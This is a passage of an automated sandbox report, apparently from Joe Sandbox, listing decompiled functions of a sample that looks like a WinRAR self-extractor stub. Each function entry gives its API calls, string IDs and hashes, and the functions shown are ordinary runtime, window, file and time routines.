                  • Instruction Fuzzy Hash: 0D21D732A201794BCB58CF2EECA087A7751A786311747C12BEE469B2D1C634E925DBE0
                  Function 00EEDA98 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 236COMMON
                  Download Yara Rule
                  APIs
                  • _swprintf.LIBCMT ref: 00EEDABE
                    • Part of subcall function 00EE400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE401D
                    • Part of subcall function 00EF1596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00F20EE8,00000200,00EED202,00000000,?,00000050,00F20EE8), ref: 00EF15B3
                  • _strlen.LIBCMT ref: 00EEDADF
                  • SetDlgItemTextW.USER32(?,00F1E154,?), ref: 00EEDB3F
                  • GetWindowRect.USER32(?,?), ref: 00EEDB79
                  • GetClientRect.USER32(?,?), ref: 00EEDB85
                  • GetWindowLongW.USER32(?,000000F0), ref: 00EEDC25
                  • GetWindowRect.USER32(?,?), ref: 00EEDC52
                  • SetWindowTextW.USER32(?,?), ref: 00EEDC95
                  • GetSystemMetrics.USER32(00000008), ref: 00EEDC9D
                  • GetWindow.USER32(?,00000005), ref: 00EEDCA8
                  • GetWindowRect.USER32(00000000,?), ref: 00EEDCD5
                  • GetWindow.USER32(00000000,00000002), ref: 00EEDD47
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
                  • String ID: $%s:$CAPTION$d
                  • API String ID: 2407758923-2512411981
                  • Opcode ID: db46e8d4ee2183771b7937e369f1cc10d405096679f10637b60e0fe14c34cf99
                  • Instruction ID: fabdd1a8846fc0150eb8c822f738d3957f46a51945bc8e42a466ef046696090b
                  • Opcode Fuzzy Hash: db46e8d4ee2183771b7937e369f1cc10d405096679f10637b60e0fe14c34cf99
                  • Instruction Fuzzy Hash: 0881AF71108349AFD710DF69CD88A6FBBE9EBC9704F04192DFA84E3291D670E905CB52
                  Function 00F0C233 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • ___free_lconv_mon.LIBCMT ref: 00F0C277
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BE2F
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BE41
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BE53
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BE65
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BE77
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BE89
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BE9B
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BEAD
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BEBF
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BED1
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BEE3
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BEF5
                    • Part of subcall function 00F0BE12: _free.LIBCMT ref: 00F0BF07
                  • _free.LIBCMT ref: 00F0C26C
                    • Part of subcall function 00F084DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958), ref: 00F084F4
                    • Part of subcall function 00F084DE: GetLastError.KERNEL32(00F13958,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958,00F13958), ref: 00F08506
                  • _free.LIBCMT ref: 00F0C28E
                  • _free.LIBCMT ref: 00F0C2A3
                  • _free.LIBCMT ref: 00F0C2AE
                  • _free.LIBCMT ref: 00F0C2D0
                  • _free.LIBCMT ref: 00F0C2E3
                  • _free.LIBCMT ref: 00F0C2F1
                  • _free.LIBCMT ref: 00F0C2FC
                  • _free.LIBCMT ref: 00F0C334
                  • _free.LIBCMT ref: 00F0C33B
                  • _free.LIBCMT ref: 00F0C358
                  • _free.LIBCMT ref: 00F0C370
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                  • String ID:
                  • API String ID: 161543041-0
                  • Opcode ID: 86b929b34e669154d09cf49a264304281fc65ce2a52bc1542ffa6e9590e02192
                  • Instruction ID: aceeade59db4f7ac7c2a6d4d2882646734884af1712543e0ab1fe6aeb7f737a4
                  • Opcode Fuzzy Hash: 86b929b34e669154d09cf49a264304281fc65ce2a52bc1542ffa6e9590e02192
                  • Instruction Fuzzy Hash: A7315C31A003059FEB20AB79DD45B5AB3E9BF00360F148529E489DB9D1DF35AC81BA90
                  Function 00EFCD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON
                  Download Yara Rule
                  APIs
                  • GetWindow.USER32(?,00000005), ref: 00EFCD51
                  • GetClassNameW.USER32(00000000,?,00000800), ref: 00EFCD7D
                    • Part of subcall function 00EF17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EEBB05,00000000,.exe,?,?,00000800,?,?,00EF85DF,?), ref: 00EF17C2
                  • GetWindowLongW.USER32(00000000,000000F0), ref: 00EFCD99
                  • SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00EFCDB0
                  • GetObjectW.GDI32(00000000,00000018,?), ref: 00EFCDC4
                  • SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00EFCDED
                  • DeleteObject.GDI32(00000000), ref: 00EFCDF4
                  • GetWindow.USER32(00000000,00000002), ref: 00EFCDFD
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
                  • String ID: STATIC
                  • API String ID: 3820355801-1882779555
                  • Opcode ID: 819e188688877440bdc922ab5f715fd4c189bcb9a3dd69d0fbacb367f8c7e096
                  • Instruction ID: 3ab8d493fc6120ff18b7cb3ef79ad836b3329bcca056b95b2d78d41ef44cb5cb
                  • Opcode Fuzzy Hash: 819e188688877440bdc922ab5f715fd4c189bcb9a3dd69d0fbacb367f8c7e096
                  • Instruction Fuzzy Hash: A011363614031CBBE2306B249C4AFBF36DCFF66744F605030FF46B10E2DA618906A6A1
                  Function 00F08EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                  Download Yara Rule
                  APIs
                  • _free.LIBCMT ref: 00F08EC5
                    • Part of subcall function 00F084DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958), ref: 00F084F4
                    • Part of subcall function 00F084DE: GetLastError.KERNEL32(00F13958,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958,00F13958), ref: 00F08506
                  • _free.LIBCMT ref: 00F08ED1
                  • _free.LIBCMT ref: 00F08EDC
                  • _free.LIBCMT ref: 00F08EE7
                  • _free.LIBCMT ref: 00F08EF2
                  • _free.LIBCMT ref: 00F08EFD
                  • _free.LIBCMT ref: 00F08F08
                  • _free.LIBCMT ref: 00F08F13
                  • _free.LIBCMT ref: 00F08F1E
                  • _free.LIBCMT ref: 00F08F2C
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$ErrorFreeHeapLast
                  • String ID:
                  • API String ID: 776569668-0
                  • Opcode ID: 08dae82641f22c34b17919fdb87275d506f41ce3d09bef82ccd1874504da39ee
                  • Instruction ID: a11b583033ab2eac9d355e279a64ebc48eb038383d904d587f1adb36aec442e1
                  • Opcode Fuzzy Hash: 08dae82641f22c34b17919fdb87275d506f41ce3d09bef82ccd1874504da39ee
                  • Instruction Fuzzy Hash: FF11A47A50020DAFCB11EF94CC42CDA3BA5FF04390B5141A5FA498F6A6DA35DA52BB80
                  Function 00EE2162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID:
                  • String ID: ;%u$x%u$xc%u
                  • API String ID: 0-2277559157
                  • Opcode ID: de7ff46e1b944f9f41dcdca67ef2bc9dc4414cc595ecd76cdfae024b02ee3644
                  • Instruction ID: b9ac3c811402c7c24ce752a785551320f1ecfa077fae44bb7eacf7b48e7d0a26
                  • Opcode Fuzzy Hash: de7ff46e1b944f9f41dcdca67ef2bc9dc4414cc595ecd76cdfae024b02ee3644
                  • Instruction Fuzzy Hash: 8DF157706042C94BDB15DF368895BFE77DDAF94304F08247EFA85BB283DA209948C762
                  Function 00EFACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00EE130B: GetDlgItem.USER32(00000000,00003021), ref: 00EE134F
                    • Part of subcall function 00EE130B: SetWindowTextW.USER32(00000000,00F135B4), ref: 00EE1365
                  • EndDialog.USER32(?,00000001), ref: 00EFAD20
                  • SendMessageW.USER32(?,00000080,00000001,?), ref: 00EFAD47
                  • SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00EFAD60
                  • SetWindowTextW.USER32(?,?), ref: 00EFAD71
                  • GetDlgItem.USER32(?,00000065), ref: 00EFAD7A
                  • SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00EFAD8E
                  • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00EFADA4
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: MessageSend$Item$TextWindow$Dialog
                  • String ID: LICENSEDLG
                  • API String ID: 3214253823-2177901306
                  • Opcode ID: 9af6b6453e00aa1d2a7ba3c001f6c9c45f1b1d5c4502eba09e6d6fca1919e3b0
                  • Instruction ID: a64f8a85dba2a5eafa110d574d133363ba30bcdfdb405602bb17c1447ff5f98b
                  • Opcode Fuzzy Hash: 9af6b6453e00aa1d2a7ba3c001f6c9c45f1b1d5c4502eba09e6d6fca1919e3b0
                  • Instruction Fuzzy Hash: 0821E67224410DBBE2215B65DC49E7B3AADFB4774AF451024F704B64A0DA525901F632
                  Function 00EE9443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE9448
                  • GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00EE946B
                  • GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00EE948A
                    • Part of subcall function 00EF17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EEBB05,00000000,.exe,?,?,00000800,?,?,00EF85DF,?), ref: 00EF17C2
                  • _swprintf.LIBCMT ref: 00EE9526
                    • Part of subcall function 00EE400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE401D
                  • MoveFileW.KERNEL32(?,?), ref: 00EE9595
                  • MoveFileW.KERNEL32(?,?), ref: 00EE95D5
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
                  • String ID: rtmp%d
                  • API String ID: 2111052971-3303766350
                  • Opcode ID: c94aa7d9e9a0452ba9d317e3fe272fb82e66083379251f683267272806707135
                  • Instruction ID: e01b3b2bc645eae874056c7651b53fa737dd5dfa22806e9d926164ddb092a6f6
                  • Opcode Fuzzy Hash: c94aa7d9e9a0452ba9d317e3fe272fb82e66083379251f683267272806707135
                  • Instruction Fuzzy Hash: 3B41607190029DA6CF30EB628C85AEA73FCAF15384F0454E6B549B3156EB349F88DB60
                  Function 00EF8E62 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 125memoryCOMMON
                  Download Yara Rule
                  APIs
                  • GlobalAlloc.KERNEL32(00000040,?), ref: 00EF8F38
                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00EF8F59
                  • CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00EF8F80
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Global$AllocByteCharCreateMultiStreamWide
                  • String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
                  • API String ID: 4094277203-4209811716
                  • Opcode ID: 7ca163663f5285e513db8c7dafbf20f7183d1098970cd609970c613242827444
                  • Instruction ID: e81ab7d05d5fc6e20472516c496f07bcf1c9e6dfecf25abdf517aec851c99a2a
                  • Opcode Fuzzy Hash: 7ca163663f5285e513db8c7dafbf20f7183d1098970cd609970c613242827444
                  • Instruction Fuzzy Hash: E03117326083196FD724BB209C02FBB7798DF91724F044119F901B61D1EF68A949A3A2
                  Function 00EF0A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON
                  Download Yara Rule
                  APIs
                  • __aulldiv.LIBCMT ref: 00EF0A9D
                    • Part of subcall function 00EEACF5: GetVersionExW.KERNEL32(?), ref: 00EEAD1A
                  • FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00EF0AC0
                  • FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00EF0AD2
                  • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00EF0AE3
                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 00EF0AF3
                  • SystemTimeToFileTime.KERNEL32(?,?), ref: 00EF0B03
                  • FileTimeToSystemTime.KERNEL32(?,?), ref: 00EF0B3D
                  • __aullrem.LIBCMT ref: 00EF0BCB
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
                  • String ID:
                  • API String ID: 1247370737-0
                  • Opcode ID: 41ae1e9d414d35e5bcfa9941c29bb6ac128734505a6e545b0d98ce3c620d70c1
                  • Instruction ID: c2863b78aa4c5d8a37a6c64a6bfb213dc36b2d3b13ff1857e2c454c3963f052a
                  • Opcode Fuzzy Hash: 41ae1e9d414d35e5bcfa9941c29bb6ac128734505a6e545b0d98ce3c620d70c1
                  • Instruction Fuzzy Hash: BA415DB1408309AFC714DF65C8849ABFBF8FF88719F00492EF69692610E735E548DB51
                  Function 00F0EE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                  Download Yara Rule
                  APIs
                  • GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00F0F5A2,?,00000000,?,00000000,00000000), ref: 00F0EE6F
                  • __fassign.LIBCMT ref: 00F0EEEA
                  • __fassign.LIBCMT ref: 00F0EF05
                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00F0EF2B
                  • WriteFile.KERNEL32(?,?,00000000,00F0F5A2,00000000,?,?,?,?,?,?,?,?,?,00F0F5A2,?), ref: 00F0EF4A
                  • WriteFile.KERNEL32(?,?,00000001,00F0F5A2,00000000,?,?,?,?,?,?,?,?,?,00F0F5A2,?), ref: 00F0EF83
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                  • String ID:
                  • API String ID: 1324828854-0
                  • Opcode ID: d5fead5c58ea784b2a6fca5f2d0f8d56c0af3e8805ec0846565ec752c05052cf
                  • Instruction ID: 53fbd8cbce3e8a51846315576ae3684ba6fa3047fd80933dcce699aa1f1b6b1b
                  • Opcode Fuzzy Hash: d5fead5c58ea784b2a6fca5f2d0f8d56c0af3e8805ec0846565ec752c05052cf
                  • Instruction Fuzzy Hash: D451D571E002099FCB10CFA8DC45AEEBBF5FF09310F15451AE955E7291D770AA41EB60
                  Function 00EFC534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON
                  Download Yara Rule
                  APIs
                  • GetTempPathW.KERNEL32(00000800,?), ref: 00EFC54A
                  • _swprintf.LIBCMT ref: 00EFC57E
                    • Part of subcall function 00EE400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00EE401D
                  • SetDlgItemTextW.USER32(?,00000066,00F2946A), ref: 00EFC59E
                  • _wcschr.LIBVCRUNTIME ref: 00EFC5D1
                  • EndDialog.USER32(?,00000001), ref: 00EFC6B2
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
                  • String ID: %s%s%u
                  • API String ID: 2892007947-1360425832
                  • Opcode ID: dfb9eb2771f06a865b080e9809128df35a5731d362d80f6917c60551dd903570
                  • Instruction ID: 119091ae6c2749859c7ae33a9e7ea0e3f2f6e3e371556bdb43cc88259c1f0fea
                  • Opcode Fuzzy Hash: dfb9eb2771f06a865b080e9809128df35a5731d362d80f6917c60551dd903570
                  • Instruction Fuzzy Hash: EE41A37290065CAADF25DBA0DC45EEA77BDAF08705F2060A6E609F7060E7719BC4DB50
                  Function 00EF9635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON
                  Download Yara Rule
                  APIs
                  • ShowWindow.USER32(?,00000000), ref: 00EF964E
                  • GetWindowRect.USER32(?,00000000), ref: 00EF9693
                  • ShowWindow.USER32(?,00000005,00000000), ref: 00EF972A
                  • SetWindowTextW.USER32(?,00000000), ref: 00EF9732
                  • ShowWindow.USER32(00000000,00000005), ref: 00EF9748
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Window$Show$RectText
                  • String ID: RarHtmlClassName
                  • API String ID: 3937224194-1658105358
                  • Opcode ID: 1c52d0dfeabb4631c503411af5e0377d8a7690e23a26ab2d8486ec2029534a77
                  • Instruction ID: 9e4be810057c8769bfae4a720cba35686ccb3f48b0d4e332fed02086d7ac5667
                  • Opcode Fuzzy Hash: 1c52d0dfeabb4631c503411af5e0377d8a7690e23a26ab2d8486ec2029534a77
                  • Instruction Fuzzy Hash: A131F036004308EFCB51AF64DC48B7B7BA8EF88305F014569FE89AA1A3CB34D844DB61
                  Function 00F0BFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00F0BF79: _free.LIBCMT ref: 00F0BFA2
                  • _free.LIBCMT ref: 00F0C003
                    • Part of subcall function 00F084DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958), ref: 00F084F4
                    • Part of subcall function 00F084DE: GetLastError.KERNEL32(00F13958,?,00F0BFA7,00F13958,00000000,00F13958,00000000,?,00F0BFCE,00F13958,00000007,00F13958,?,00F0C3CB,00F13958,00F13958), ref: 00F08506
                  • _free.LIBCMT ref: 00F0C00E
                  • _free.LIBCMT ref: 00F0C019
                  • _free.LIBCMT ref: 00F0C06D
                  • _free.LIBCMT ref: 00F0C078
                  • _free.LIBCMT ref: 00F0C083
